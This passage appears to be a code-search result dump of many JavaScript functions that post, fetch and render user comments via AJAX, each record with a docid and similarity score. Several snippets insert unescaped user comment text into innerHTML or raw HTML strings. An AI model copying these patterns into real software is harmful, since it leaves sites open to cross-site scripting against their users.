document.createElement('span');\n new_time.addClassName('time');\n new_time.update(date);\n new_name.appendChild(new_time);\n var new_p = document.createElement('p');\n new_p.update(content);\n new_div.appendChild(new_p);\n \n\n bigdiv.appendChild(new_div);\n\n }\n );\n }\n });\n}", "title": "" }, { "docid": "61c8e0a369b2aadf3da0a3ee90245d68", "score": "0.7185417", "text": "function fetch_comment(){\n $.ajax({\n method: \"GET\",\n url: \"fetch_comment.php\",\n success: function(data){\n $(\"#show_comment\").html(data);\n }\n });\n }", "title": "" }, { "docid": "d24f3a4e092fa23b499bd8ac1d40fb51", "score": "0.71597975", "text": "function hwCommentAdd()\n{\n var hwid = getParameterByName(\"hwid\");\n var classid = sessionStorage.getItem('courseID');\n var username = getParameterByName(\"username\");\n $.ajax({\n type: \"POST\",\n url: \"/Actions/getHwCommentInstructor.php\",\n data: \"hwid=\" + hwid + \"&classid=\" + classid + \"&username=\" + username,\n cache: false,\n success: function (data) {\n if (data == false)\n {\n var html = \"<h1>No Comments</h1><br>\";\n html += \"<a href=\\\"/Responders/hwCommentList.php?hwid=\" + hwid + \"\\\" data-ajax=\\\"false\\\">Go back to Student List?</a>\"\n document.getElementById(\"demo\").innerHTML = html;\n alert(\"No Comment\");\n }\n else\n {\n var html = \"<h1>Previous Comments</h1><br>\";\n for (var i = 0; i < data.length; i++)\n {\n var comment = data[i].comment;\n var num = i + 1;\n\n html += \"&nbsp;&nbsp;&nbsp;&nbsp;\" + num + \".&nbsp;\" + comment + \"<br>\";\n }\n html += \"<a href=\\\"/Responders/hwCommentList.php?hwid=\" + hwid + \"\\\" data-ajax=\\\"false\\\">Go back to Student List?</a>\"\n document.getElementById(\"demo\").innerHTML = html;\n }\n }\n });\n}", "title": "" }, { "docid": "9e0cb96a52894efc595db4fa1c9aca12", "score": "0.71159226", "text": "function postComment(text, repliesToId) {\n toggleSpinner();\n var data = JSON.stringify({\n url: url,\n text: text,\n repliesToId: repliesToId || undefined,\n isPrivate: privateFeed\n });\n\n var request = $.ajax({\n url: settings.server + '/api/comments/add',\n method: \"POST\",\n contentType: \"application/json\",\n data: data,\n dataType: 'json'\n });\n\n request.success(function(msg) {\n // compile and append successfully saved and returned message to DOM\n var html = compileComments(msg);\n\n if (!repliesToId) {\n $(\".cd-panel-content\").prepend(html);\n } else {\n // If replies are hidden && reply-container has no \n // children, we can trigger a click to load any existing\n // comments + the new one we just made.\n //\n // Else if replies are hidden && reply-container *does* \n // have children, we can still trigger a click, to make\n // the reply elements shown; but we also need to prepend\n // the comment we just made.\n //\n // Else, i.e., replies not hidden, just prepend the \n // comment we just made.\n var comment = $('#' + repliesToId);\n var replies = comment.find('.reply-container');\n var firstReply = replies.find('.comment-reply:first-child');\n\n if (!replies.hasClass('hidden') || replies.children().length > 0) {\n if (firstReply.length > 0) {\n // prepend to existing replies\n firstReply.before(html);\n } else {\n replies.append(html);\n }\n }\n\n if (replies.hasClass('hidden')) {\n var showReplies = comment.find('.replies');\n showReplies.trigger('click');\n } \n\n var ReplyCount = Number($('#' + repliesToId +' .ReplyCount').html())+1;\n $('#' + repliesToId +' .ReplyCount').html(ReplyCount);\n }\n registerCommentEventListeners();\n });\n\n request.fail(function(jqXHR, textStatus) {\n console.log(\"Request failed: \" + textStatus);\n });\n\n request.complete(function(jqXHR, textStatus) {\n toggleSpinner();\n if (jqXHR.status === 401) {\n loginButtons(true);\n } else {\n loginButtons(false);\n }\n });\n}", "title": "" }, { "docid": "21fe819358c0c2fd6a81dce63e62d43f", "score": "0.70907056", "text": "function postComment() {\n var comment = $(\"#comment-input\").val();\n $(\"#comment-input\").val(\"\");\n $(\"#comment-area\").append(\"<div id=\\\"comment\\\" class=\\\"media\\\"><div class=\\\"media-body\\\"><h4 class=\\\"media-heading\\\"><span id=\\\"delete-btn\\\" class=\\\"glyphicon glyphicon-remove\\\" aria-hidden=\\\"true\\\"></span>Comment</h4>\" + comment + \"</div></div>\");\n}", "title": "" }, { "docid": "1a25486021ac7eebd8b28677f2b9285b", "score": "0.7071002", "text": "function load_new_comments(){\n $('div.comment-list-placeholder').each(function(index){\n var el = $(this);\n var url = '/fetch-new-comments-ajax/' + el.attr('content_type_id') + '/' + el.attr('oid') + '/' + el.attr('last_comment_id') + '/';\n $.get(\n url, \n {}, \n function(data){\n if (data)\n el.replaceWith(data);\n }\n );\n });\n }", "title": "" }, { "docid": "6855c32a5a1ea21143631d0b4c746acd", "score": "0.6986553", "text": "function addComment(bookId)\n{\n var commentForm = $(\"#commentform\" + bookId).children(\"#textarea\");\n var newComment = commentForm.val();\n var data = {\n opcode: 5,\n bookId: bookId,\n comment: newComment\n };\n\n // send ajax request\n $.ajax({\n url: \"handler.php\",\n type: \"POST\",\n data: data\n }).done(function(msg) {\n loadComments(bookId);\n commentForm.val(\"\");\n });\n}", "title": "" }, { "docid": "9bcdc0162934b0a1c515d541781fe606", "score": "0.6986158", "text": "function addComment(e) {\n e.preventDefault();\n var now = Date.now();\n var c = {\n User: {\n DisplayName: document.getElementById('username').value,\n AvatarImageUrl: 'http://cdn.yemek.com/assets/images/profile-default.jpg'\n },\n Content: document.getElementById('comment').value,\n Id: 'willBeAssignedOnServer',\n Date: '/Date(' + now + '-0000)/'\n };\n\n comments = createComment(comments, c);\n document.getElementById('comments').innerHTML = comments;\n\n document.getElementById('username').value = '';\n document.getElementById('comment').value = '';\n}", "title": "" }, { "docid": "b05b65eb46aa1bf562fa8b3614bb8f13", "score": "0.6951636", "text": "add(event) {\n let xhr = event.detail[2];\n this.commentListTarget.innerHTML += xhr.response.trim();\n this.textTarget.value = '';\n\n this.displaySuccess('Comment successfully added');\n }", "title": "" }, { "docid": "dfd1877f62f04a82e92e001a6b0422f0", "score": "0.6946775", "text": "function changeReviewFrogger(){\n\tconsole.log(\"in change review function\");\n\tvar comment = document.getElementById(\"message\").value;\n\tconsole.log(\"the message is \" + comment+\" in changereview function.\");\n\tvar string = \"<h2> Thank you for reviewing the game!</h2><br><br><br>\";\n\tvar comment_url ='https://nostalgia-games.herokuapp.com/frogger/updatecomments'+'?message='+comment;\n\t $.ajax({url:comment_url}).then(function(data) {\n\t \tconsole.log(data);\n\t });\n\tdocument.getElementById(\"review\").innerHTML = string;\n}", "title": "" }, { "docid": "75fa50a0cda6a09d746363d50397fa8d", "score": "0.6926974", "text": "function addComment(article_id, comment_obj) {\n\n // Calls the comment api giving it the object and the article id\n $.post(\"/articles/api/comment\" + article_id, comment_obj, function (comment) {\n\n // passes the dbcomment object and the article id into a fucntion that appends the comment\n poplulateComment(article_id, comment);\n })\n}", "title": "" }, { "docid": "636d594b14ce6a67fac23877fc20ad49", "score": "0.6922001", "text": "function postCourseComment(email, dept, num, comment) {\n\n $.ajax({\n url: \"post_course_comment\",\n method: \"POST\",\n dataType: \"json\",\n data: {\n email: email,\n dept: dept,\n num: num,\n comment: comment\n },\n success: function() {\n removeLoggedInSection();\n $('section').hide();\n $('.errmsg').remove();\n $('.msg').remove();\n location.reload();\n }\n });\n}", "title": "" }, { "docid": "6b0f18717d0bd70ae65e39f771d32c02", "score": "0.69117236", "text": "function postComment(){\n\t\n\tvar comment = $('#entry').val().trim();\n\tvar commentObj = {\n\t\tbody:comment\n\t}\n\n\tvar query = '?number=' + init ;\n\t$.post(currentURL + \"/postcomments\" + query , commentObj, function(res){\n\t\tconsole.log('article ' + init + ' posted');\n\t\t\n\t\t$('#comments').empty();\n\t\tvar ul = $('<ul>');\n\t\tfor(var i=0 ; i < res.length ;i++){\n\t\t\tul.append('<li>' + res[i].body + '</li>');\n\t\t}\n\t\t$('#comments').html(ul);\n\t});\n\n}", "title": "" }, { "docid": "73ff5fd4ae147b4ee11627eb4f6ec1cc", "score": "0.6904133", "text": "function changeReviewSnake(){\n\tconsole.log(\"in change review function\");\n\tvar comment = document.getElementById(\"message\").value;\n\tconsole.log(\"the message is \" + comment+\" in changereview function.\");\n\tvar string = \"<h2> Thank you for reviewing the game!</h2><br><br><br>\";\n\tvar comment_url ='https://nostalgia-games.herokuapp.com/snake/updatecomments'+'?message='+comment;\n\t $.ajax({url:comment_url}).then(function(data) {\n\t \tconsole.log(data);\n\t });\n\tdocument.getElementById(\"review\").innerHTML = string;\n}", "title": "" }, { "docid": "77e412fcc432ca002cdfe56f3890de43", "score": "0.6895135", "text": "function changeReviewHangman(){\n\tconsole.log(\"in change review function\");\n\tvar comment = document.getElementById(\"message\").value;\n\tconsole.log(\"the message is \" + comment+\" in changereview function.\");\n\tvar string = \"<h2> Thank you for reviewing the game!</h2><br><br><br>\";\n\tvar comment_url ='https://nostalgia-games.herokuapp.com/hangman/updatecomments'+'?message='+comment;\n\t $.ajax({url:comment_url}).then(function(data) {\n\t \tconsole.log(data);\n\t });\n\tdocument.getElementById(\"review\").innerHTML = string;\n}", "title": "" }, { "docid": "f8b965a31257f3fdf5e10cf7d0e24141", "score": "0.6876665", "text": "function insert_and_display_comments(name){\n \n var requestList = new XMLHttpRequest();\n \n //check if response status has changed\n requestList.onreadystatechange = function(){\n \n //check it result has been loaded\n if(requestList.readyState === XMLHttpRequest.DONE){\n //check if it was a success - it has inserted the comment and returned a list\n if (requestList.status === 200) {\n \n var comments = requestList.responseText;\n console.log(comments);\n comments = JSON.parse(comments);\n \n var list='';\n for(var i=0; i<comments.length;i++){\n console.log (comments[i].user-name);\n list= list+ '<li class= \"indComment\"> <p><span class =\"bigBold\">' + comments[i].name + '</span><span class =\"listHyp\">' +comments[i].date +'</span></p><p>'+ comments[i].comment + '</p></li>';\n list=list+'<li class=\"hiddenlist\"> </li>';\n }\n \n var nameList = document.getElementById(\"commentList\");\n nameList.innerHTML = list;\n }\n }\n \n };\n var user = document.getElementById(\"comment\");\n var pageH = document.getElementById(\"myHeader\");\n page=pageH.innerHTML; \n\n //send a request to comment_list - it inserts the comment and returns a list of comments \n requestList.open('GET', 'http://sandeep69.imad.hasura-app.io/'+page+'/'+name+'/comment_list?comment='+user.value,true);\n requestList.send(null);\n }", "title": "" }, { "docid": "9397758a033152835b267a07767e6cb7", "score": "0.68695897", "text": "function changeReview(){\n\tconsole.log(\"in change review function\");\n\tvar comment = document.getElementById(\"message\").value;\n\tconsole.log(\"the message is \" + comment+\" in changereview function.\");\n\tvar string = \"<h2> Thank you for reviewing the game!</h2><br><br><br>\";\n\tvar comment_url ='https://nostalgia-games.herokuapp.com/tictactoe/updatecomments'+'?message='+comment;\n\t $.ajax({url:comment_url}).then(function(data) {\n\t \tconsole.log(data);\n\t });\n\tdocument.getElementById(\"review\").innerHTML = string;\n}", "title": "" }, { "docid": "6df0bfcfc059c3aa4ba30907808b4ebc", "score": "0.6844669", "text": "function AppendComment() {\r\n $(\"#commentsid\")[0].innerText += $(\"#idtext\")[0].value;\r\n }", "title": "" }, { "docid": "2b9e2011a3cbec62fc9186b2e7effe8b", "score": "0.68077433", "text": "function cgcMatterAddComment(comment_company_id,comment_user_id,comment_commentable_id,comment_commentable_type,comment_title){\n var company_id = comment_company_id;\n var user_id = comment_user_id;\n var commentable_id = comment_commentable_id;\n var commentable_type = comment_commentable_type;\n var priv = false;\n var title = comment_title;\n var comment = jQuery(\"#matter_comment\").val();\n\n jQuery.post(\"/comments/add_new_comment\",\n {\n \"company_id\" : company_id,\n \"created_by_user_id\" : user_id,\n \"commentable_id\" : commentable_id,\n \"commentable_type\" : commentable_type,\n \"private\" : priv,\n \"title\" : title,\n \"comment\" : comment\n },\n function(data) {\n if (data.indexOf(\"OK\") == 0) {\n var tr = document.createElement(\"tr\");\n var tds = data.substring(2).split(\"|\");\n for (var i=0; i< tds.length; i++) {\n var td = document.createElement(\"td\");\n td.innerHTML = tds[i];\n tr.appendChild(td);\n }\n var tbl = document.getElementById(\"comment_list\");\n if (tbl) tbl.appendChild(tr);\n tb_remove();\n } else {\n jQuery(\"#comment_info\").html(data);\n }\n });\n return false;\n\n}", "title": "" }, { "docid": "053362f3086a3cab65ca2f3431e717b5", "score": "0.6803559", "text": "update(event) {\n let xhr = event.detail[2];\n let currentComment = event.target.parentElement;\n let hiddenComment = currentComment.nextSibling;\n\n this.commentListTarget.removeChild(currentComment);\n hiddenComment.insertAdjacentHTML('afterend', xhr.response.trim());\n this.commentListTarget.removeChild(hiddenComment);\n\n this.displaySuccess('Comment successfully updated');\n }", "title": "" }, { "docid": "6bad457b4355bf5c4efe96ef1e8a81aa", "score": "0.6800241", "text": "function newComment() {\n $.ajax({\n url: \"/api/v1/Comment/NewComment\",\n type: \"POST\",\n data: { \n movieId: $('#movie-id').val(),\n viewComment: $('#new-comment').val()\n },\n dataType: \"json\",\n success: function (result) {\n loadData();\n },\n error: function (errormessage) {\n alert(errormessage.responseText);\n }\n });\n}", "title": "" }, { "docid": "364c2dcf87a477475f51013a009b4671", "score": "0.67885596", "text": "function addComment() {\n var comments = new Object();\n comments.username = document.getElementById(\"nickname\").value; // Value from HTML input text\n comments.comment = document.getElementById(\"userComments\").value; // Value from HTML input text\n comments.username_id = document.getElementById(\"accId\").value; // Value from HTML input text \n comments.game_id = game_array[currentIndex].game_id; // game ID is required by server to create new comment \n\n var postComment = new XMLHttpRequest(); // new HttpRequest instance to send comment\n postComment.open(\"POST\", comment_url, true); //Use the HTTP POST method to send data to server\n postComment.setRequestHeader(\"Content-Type\", \"application/json\");\n postComment.onload = function () {\n fetchComments(); // fetch all comments again so that the web page can have updated comments.\n };\n // Convert the data in Comment object to JSON format before sending to the server.\n postComment.send(JSON.stringify(comments));\n\n //clear all input fields\n document.getElementById(\"userComments\").value = \"\";\n document.getElementById(\"nickname\").value = \"\";\n document.getElementById(\"accId\").value = \"\";\n\n}", "title": "" }, { "docid": "d2c2bc50639cb6ce798e7f9fde481dc1", "score": "0.67712665", "text": "function runIntervalAjax(){\n\tvar $content_part = $(\"#content_part\");\n\t//window.alert($content_part.children().first().attr('id'));\n\tvar latest_post_id = $content_part.children().first().attr('id');\n\tif(latest_post_id == null){\n\t\tlatest_post_id = 0;\n\t}\n\tconsole.log(latest_post_id);\n\n\t$.ajax({\n\t\turl: '/check_update/'+latest_post_id,\n\t\ttype: 'GET',\n\t})\n\t.done(function(data) {\n\t\t$.each( data, function(i, item) {\n\t\t\tvar output = \"\";\n\t\t\tif(item['post_pic']==true){\n\t\t\t\toutput = Mustache.render(postPicTemplate, item);\n\t\t\t}else{\n\t\t\t\toutput = Mustache.render(postTemplate, item);\n\t\t\t}\n\t\t\t\n\t\t\tvar comments = item['comments'];\n\t\t\t$.each(comments, function(i, comment_item) {\n\t\t\t\t var commentOutput = Mustache.render(commentTemplate, comment_item);\n\t\t\t\t console.log(commentOutput);\n\t\t\t\t var comment_section = $(output).find(\"div[data-id=comment_part]\");\n\t\t\t\t console.log($(comment_section).attr('data-id'));\n\t\t\t\t $(comment_section).append(commentOutput);\n\t\t\t\t //$(commentOutput).prependTo($(comment_section));\n\t\t\t});\n\t\t\t$(output).hide().prependTo($content_part).slideDown(300);\n });\n\n\t})\n\t.fail(function() {\n\t\tconsole.log(\"error\");\n\t})\n\t.always(function() {\n\t\tconsole.log(\"complete\");\n\t});\n\t\n}", "title": "" }, { "docid": "3f0a12e504498de49503d72bd0f181f9", "score": "0.6759051", "text": "function displayDashboardCommentsForNews(dashBoardComponentId){\r\n\tvar jsObj={\r\n\t\tdashBoardComponentId:dashBoardComponentId\r\n\t}\t\r\n\t$.ajax({\r\n\t type: \"POST\",\r\n\t url: \"displayDashboardCommentsAction.action\",\r\n\t data: {task :JSON.stringify(jsObj)}\r\n\t}).done(function(result){\r\n\t\tif(result != null && result.length >0){\r\n\t\t var str=''; \r\n \t\t \r\n\t str+='<ul class=\"notesUlDebates m_top20\" style=\"text-transform: none;font-weight: normal;font-size: 14px;\">'; \t\r\n \t \r\n\t\t\t\t\tfor(var i in result){ \r\n str+='<li style=\"margin-top:3px;\">'; \r\n str+='<span class=\"notesTextNews\" id=\"editTextNewsId'+i+'\" attr_commentId=\"'+result[i].dashBoardCommentId+'\">'+result[i].comment+' </span>- <span class=\"text-muted\"><i>'+result[i].insertedTime+'</i></span>';\r\n\t\t\t\t\t str+='<i class=\"glyphicon glyphicon-trash pull-right hoverBlock deleteNotesnews\" attr_cmt_id=\"editTextNewsId'+i+'\" id=\"'+result[i].dashBoardCommentId+'\" onClick=\"deleteDashBoardcomments(this.id);\"></i>';\r\n str+='<i class=\"glyphicon glyphicon-edit pull-right hoverBlock editNotesNews\" attr_cmt_id=\"editTextNewsId'+i+'\" attr_comment=\"'+result[i].comment+'\"></i>';\r\n str+='</li>';\r\n\t\t\t\t\t}\r\n str+='</ul>';\r\n\t\t\t\t\t\t/*str+='<hr/>';\r\n\t\t\t\t\t\tstr+='<div id=\"newsUpId\" style=\"color:red;\"></div>';\r\n str+='<label>Create Notes</label>';\r\n str+='<textarea class=\"form-control notesAreaNews\"></textarea>';\r\n str+='<button class=\"btn btn-default btnCustomCreateNews btn-sm \" onClick=\"savingDashboardCommentForNews(5);\">create</button>';*/\r\n\t\t\t\r\n\t\t\t$(\"#notesNewsId\").html(str);\t \r\n\t\t}\r\n\t});\r\n}", "title": "" }, { "docid": "93d4eebb87d8efca8fa36ef00f010c9d", "score": "0.67587405", "text": "function subComment() {\n\n\tvar comm = $(\"#comment\").attr('value');\n\tif(comm !== '') {\n\t\t$('#loading').fadeIn('fast');\n\t\t$.post(\"response/commR.php\", { comment: comm },\n\t\t\tfunction(data) {\n\t\t\t\t$('#commentInfo').html(data); /* displaying the returned comment, remove in production code */\n\t\t});\n\t}\n\t$(\"#comment\").attr('value' , ''); /* Clear comment feild */\n\t$('#loading').fadeOut('fast');\n}", "title": "" }, { "docid": "a01349f6cac4f8b973a501291bf4b955", "score": "0.6749911", "text": "function NotifyComments() {\n $.get(baseUrl + 'admin/comments/notify', function(data) {\n $('#comments_notify').toggle(data > 0).html(data);\n });\n}", "title": "" }, { "docid": "38958c8570dca7081147027faf6ce303", "score": "0.6736833", "text": "function createHwComment()\n{\n\n var hwid = getParameterByName(\"hwid\");\n var comment = $(\"#comment\").val();\n var classid = sessionStorage.getItem('courseID');\n var username = getParameterByName(\"username\");\n if (hwid == \"\" || comment == \"\")\n {\n alert(\"Invalid Data\");\n }\n else\n {\n $.ajax({\n type: \"POST\",\n url: \"/Actions/addHwComment.php\",\n data: \"comment=\" + comment + \"&hwid=\" + hwid + \"&classid=\" + classid + \"&username=\" + username,\n cache: false,\n success: function (data) {\n if (data == true) {\n alert(\"message added\");\n window.location.reload();\n }\n else {\n alert(\"Invalid\");\n window.location.reload();\n }\n }\n });\n }\n\n\n}", "title": "" }, { "docid": "c3e81f6f989a44d5bf778d139856ee92", "score": "0.6733001", "text": "function comment(){\n // Fetch the new comment value\n var cmnt = document.getElementById('addComment').value;\n var holder= `<p class=\"newComment\">${cmnt}</p>` // New coment template\n // Fetch the comment holder div\n var allComment = document.getElementById(\"newCommentHolder\");\n // Add the new comment to the comment holder\n allComment.innerHTML = holder + allComment.innerHTML;\n // Reset the value of the comment holder\n document.getElementById('addComment').value = \"\";\n \n}", "title": "" }, { "docid": "d6a618daad1df2336953c533f0e0fdb1", "score": "0.67262995", "text": "function postBookComment(email, title, author, comment) {\n\n $.ajax({\n url: \"post_book_comment\",\n method: \"POST\",\n dataType: \"json\",\n data: {\n email: email,\n title: title,\n author: author,\n comment: comment\n },\n success: function() {\n removeLoggedInSection();\n $('section').hide();\n $('.errmsg').remove();\n $('.msg').remove();\n }\n });\n}", "title": "" }, { "docid": "889ed8b00c4fa00420371516432f9c40", "score": "0.66969365", "text": "function submitEditedComment(clicked){\n var $edit = clicked;\n var $commentContainer = $edit.closest('.comment-container');\n var url = $commentContainer.find('form').attr('action')\n var data = $commentContainer.find('form').serialize()\n var request = $.ajax({\n url: url,\n type: 'PUT',\n dataType: 'json',\n data: data\n })\n\n request.done(function(response){\n $commentContainer.empty();\n $commentContainer.append(response['html']);\n })\n}", "title": "" }, { "docid": "610fc85a005116f79a705c81a5175c73", "score": "0.6693656", "text": "function load() {\n var request = new XMLHttpRequest();\n\n request.onreadystatechange = function() {\n if(this.readyState == 4) {\n if(this.status == 200) {\n var response = JSON.parse(this.responseText);\n var container = document.getElementById('comments');\n var html;\n\n for(var index in response) {\n var object = response[index];\n\n if(html === undefined) {\n html = '';\n }\n\n html += format(object.firstName, object.lastName, object.email, object.gravatar, object.date, object.content);\n }\n\n if(html !== undefined) {\n container.innerHTML = html;\n container.style.display = 'block';\n\n document.getElementById('comment-form').className = 'col s5';\n }\n } else if(this.status == 500) {\n Materialize.toast('Internal Server Error: ' + this.responseText, 6000);\n } else {\n Materialize.toast('Unexpected Error: ' + this.responseText, 6000);\n }\n }\n }\n\n request.open('POST', 'endpoints/comments.php', true)\n request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n request.setRequestHeader('Connection', 'close');\n request.send();\n}", "title": "" }, { "docid": "35cac10c3fde6fe55966686cefced82e", "score": "0.66909564", "text": "function ajaxPushComment() {\n var params = new URLSearchParams(location.search);\n commentData.a_baselink = params.get(\"x\");\n $.ajax({\n type: \"post\",\n url: \"backend/scripts/api.php\",\n data: commentData,\n success: function () {\n location.reload();\n },\n error: function (xhr, textStatus, errorThrown) {\n console.log(xhr.status);\n if (xhr.status == 500) {\n console.log(\"lose\");\n }\n }\n });\n}", "title": "" }, { "docid": "59c01bc2c3ec489550b9308a6df5fd7e", "score": "0.6680237", "text": "function postComment()\n{\n\t$.get('../PHP/wallDriver.php', {'action': 'saveComment',\n\t\t\t\t\t\t\t\t\t \t'name': $('#name').val(),\n\t\t\t\t\t\t\t\t\t \t'email': $('#email').val(),\n\t\t\t\t\t\t\t\t\t \t'website': $('#website').val(),\n\t\t\t\t\t\t\t\t\t \t'comment': $('#comment').val()\n\t\t \t\t\t\t\t\t\t\t},\n\t\tfunction(response)\n\t\t{\n\t\t\t\tcheckResponse(response);\n\t\t});\n}", "title": "" }, { "docid": "b9f1797b73133ec60a9ecf9e21e25f0d", "score": "0.66707295", "text": "function submitComment(id) {\n\tvar request = new XMLHttpRequest();\n\tvar url = \"../inc/php-ajax/comments.php\";\n\tvar usercomment = document.getElementById(\"comment_entered\" + id).value;\n\tvar img_id = id;\n\tvar vars= \"comment=\"+usercomment+\"&img_id=\"+img_id;\n\trequest.open(\"POST\", url, true);\n\trequest.onreadystatechange = function() {\n\t\tif (request.readyState == 4 && request.status == 200) {\n\t\t\tvar return_data = request.responseText;\n\t\t\tvar i = return_data.indexOf(\" \");\n\t\t\tvar comments_amount = return_data.substr(0, i);\n\t\t\tvar comments_body = return_data.substr(i);\n\t\t\tdocument.getElementById(\"comment_count\" + id).innerHTML = comments_amount + \" comments\";\n\t\t\tdocument.getElementById(\"showcomments\" + id).innerHTML = comments_body;\n\t\t\tdocument.getElementById(\"comment_entered\" + id).value = \"\";\n\n\t\t}\n\t}\n\trequest.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\trequest.send(vars);\n}", "title": "" }, { "docid": "b895e3d769e3eb793c6740066586832d", "score": "0.6660643", "text": "function getNewComments() {\n $.ajax({\n url: url_to_get_comment, // defined in room.html\n type: 'GET',\n datatype: 'json',\n data: {\n last_comment_update_time: lastUpdateTime,\n roomPK: roomPK\n },\n success: function (comments) {\n for (var i = 0; i < comments.length; i++) {\n lastUpdateTime = getNewUpdateTime(lastUpdateTime, comments[i]);\n }\n updateComments(comments);\n }\n })\n}", "title": "" }, { "docid": "e33309327e7eff2b7e7654dac485b05f", "score": "0.6653212", "text": "function poll_new_comments(){\r\n\r\n console.log(\"Last ID:\", last_comment_id)\r\n // This handler requests new comments after most recent comment\r\n $.ajax({\r\n url: BASEURL + \"/poll_new_blog_comments/\" + last_comment_id\r\n })\r\n .done(function(data){\r\n // Parse the returned JSON string to a js object\r\n temp = JSON.parse(data);\r\n blogComments = temp.Comments; // list of js objects\r\n console.log(blogComments.length)\r\n if(blogComments.length > 0){\r\n\r\n for(var i = 0; i < blogComments.length; i++)\r\n insert_comment_in_page(blogComments[i]);\r\n \r\n last_comment_id = blogComments[i-1].Id;\r\n }\r\n })\r\n\r\n setTimeout(poll_new_comments, 3000);\r\n}", "title": "" }, { "docid": "4b5372a8dbdbccba2a4cfafec4b536c9", "score": "0.66340894", "text": "function createCommentResult(result){\n console.log(result);\n //loadSinglePost(id);\n $('#message').text(result);\n}", "title": "" }, { "docid": "7108cd19e35f0efd4bb8b38391cf7fb3", "score": "0.66242623", "text": "function postComment(newComment) {\n let url = '/blog-api/nuevo-comentario';\n\n $.ajax({\n url: url,\n method: \"POST\",\n contentType: 'application/json; charset=utf-8',\n dataType: 'json',\n data: JSON.stringify(newComment),\n success: function(responseJSON) {\n console.log(responseJSON);\n fetchComments();\n },\n error: function(err) {\n if (err.status === 406) {\n alert('Hubo un error porque no se ingresaron los datos suficientes para publicar un comentario.');\n } else {\n alert('Hubo un error al intentar publicar el comentario.');\n }\n\n console.log(err);\n }\n });\n}", "title": "" }, { "docid": "073e5e9d4b7f68911c6b0f8b8b6f1568", "score": "0.6619668", "text": "function addCommentToUI(comment, idComment) {\n var idArticle = $('#idArticle').html();\n var idCommenter = $('#email').html();\n //console.log(`${idCommenter} commented!`);\n\n // add this comment to UI\n var container = $('.comments-container').eq(0);\n //console.log(container);\n\n // get current date format\n var today = new Date();\n var dd = today.getDate();\n\n var mm = today.getMonth() + 1;\n var yyyy = today.getFullYear();\n if (dd < 10) {\n dd = '0' + dd;\n }\n\n if (mm < 10) {\n mm = '0' + mm;\n }\n var curDate = yyyy + '-' + mm + '-' + dd;\n\n container.append(`\n <div class=\"comment\">\n <div class=\"commenter\">\n <i class=\"fa fa-user-circle-o\"></i>\n ${idCommenter} - (${curDate})\n <a href=\"delete?action=comment&idArticle=${idArticle}&idComment=${idComment}\" class=\"fa fa-ban newDelete\" style=\"float: right\"></a>\n </div>\n ${comment}\n </div>\n `);\n\n // add delete confirm on click event\n $('.newDelete').click(function () {\n return confirm(\"Are you sure to delete this?\");\n });\n}", "title": "" }, { "docid": "9b7a3f9bcea418a2247fe5a82a5a4dd3", "score": "0.66119695", "text": "function hwCommentList()\n{\n var hwid = getParameterByName(\"hwid\");\n var classid = sessionStorage.getItem('courseID');\n $.ajax({\n type: \"POST\",\n url: \"/Actions/getStudentCommentList.php\",\n data: \"classid=\" + classid + \"&hwid=\" + hwid,\n cache: false,\n async: false,\n success: function (data) {\n if (data == false)\n {\n alert(\"Invalid Page\");\n }\n else\n {\n var html = \"\";\n for (var i = 0; i < data.length; i++)\n {\n var username = data[i].username;\n html += \"<a href=\\\"/Responders/hwCommentAdd.php?hwid=\" + hwid + \"&username=\" + username + \"\\\" class=\\\"ui-btn ui-btn-a ui-corner-all\\\" data-ajax=\\\"false\\\">\" + username + \"</a><br>\";\n }\n document.getElementById(\"demo\").innerHTML = html;\n\n }\n }\n });\n}", "title": "" }, { "docid": "3e309335b1290f7720f72b0a1a592c27", "score": "0.66061753", "text": "function postCommentAjax(senderButton, messageId, userName) {\n var $form = $(senderButton).parents('form');\n $form.find(\"#errorMessage\").toggle(false);\n\n if ($form.find(\"#CommentContent\").val().length > 0) {\n $form.find(\"#submitbutton\").val(\"正在提交...\");\n $form.find(\"#submitbutton\").prop('disabled', true);\n\n $.ajax({\n type: \"POST\",\n url: $form.attr('action'),\n data: $form.serialize(),\n error: function (xhr, status, error) {\n // submission failed, likely cause: user triggered anti-spam throttle\n $form.find(\"#submitbutton\").val(\"评论\");\n $form.find(\"#submitbutton\").prop('disabled', false);\n $form.find(\"#errorMessage\").html(\"点太快啦,等两分钟再试试\");\n $form.find(\"#errorMessage\").toggle(true);\n },\n\n success: function (response) {\n // load rendered comment that was just posted\n // append rendered comment\n $(\".sitetable.nestedlisting\").prepend(response);\n\n // reset submit button\n $form.find(\"#submitbutton\").val(\"评论\");\n $form.find(\"#submitbutton\").prop('disabled', false);\n\n // reset textbox\n $form.find(\"#CommentContent\").val(\"\");\n\n //notify UI framework of DOM insertion async\n window.setTimeout(function () { UI.Notifications.raise('DOM', $('.sitetable.nestedlisting').first()); });\n /*ljj 提取到上面\n var replyresult = $.get(\n \"/ajaxhelpers/singlesubmissioncomment/\" + messageId + \"/\" + userName,\n null,\n function (data) {\n // append rendered comment\n $(\".sitetable.nestedlisting\").prepend(data);\n\n // reset submit button\n $form.find(\"#submitbutton\").val(\"Submit comment\");\n $form.find(\"#submitbutton\").prop('disabled', false);\n\n // reset textbox\n $form.find(\"#CommentContent\").val(\"\");\n\n //notify UI framework of DOM insertion async\n window.setTimeout(function () { UI.Notifications.raise('DOM', $('.sitetable.nestedlisting').first()); });\n\n // TODO: scroll to the newly posted comment\n // $('#div_' + element_id)[0].scrollIntoView(true);\n }\n );\n */\n }\n });\n\n return false;\n } else {\n $form.find(\"#errorMessage\").toggle(true);\n }\n}", "title": "" }, { "docid": "3ed6e26d02ac417adfc7371e189a237d", "score": "0.6598285", "text": "function modalPopulator(id) {\n $.get(\"/comments/\" + id, function(data){\n console.log(\"Comments for this article: \", data);\n $(\".modal-card-title\").text(titleShortener(data.title));\n $(\".submit-comment\").attr(\"data-id\", id);\n $(\"#existing-comments\").html(\"None\");\n if (data.comments.length > 0) { $(\"#existing-comments\").html(\"\") };\n for (var i = 0; i < data.comments.length; i++) {\n $(\"#existing-comments\").prepend(\"<article class='message is-info'><div class='message-body'>\" + data.comments[i].body + \" (by \" + data.comments[i].name + \")<br><br><a class='button is-danger delete-comment' comment-id='\" + data.comments[i]._id + \"' article-id='\" + id + \"'>Delete this comment</a></div></article>\");\n };\n });\n}", "title": "" }, { "docid": "e992287c43d37a3a79202c5cf51a229b", "score": "0.659132", "text": "function addComments(html, isLoading, container, prepend) {\n\t\t\t\tvar container = container || mainCommentsContainer;\n\t\t\t\tif (prepend) 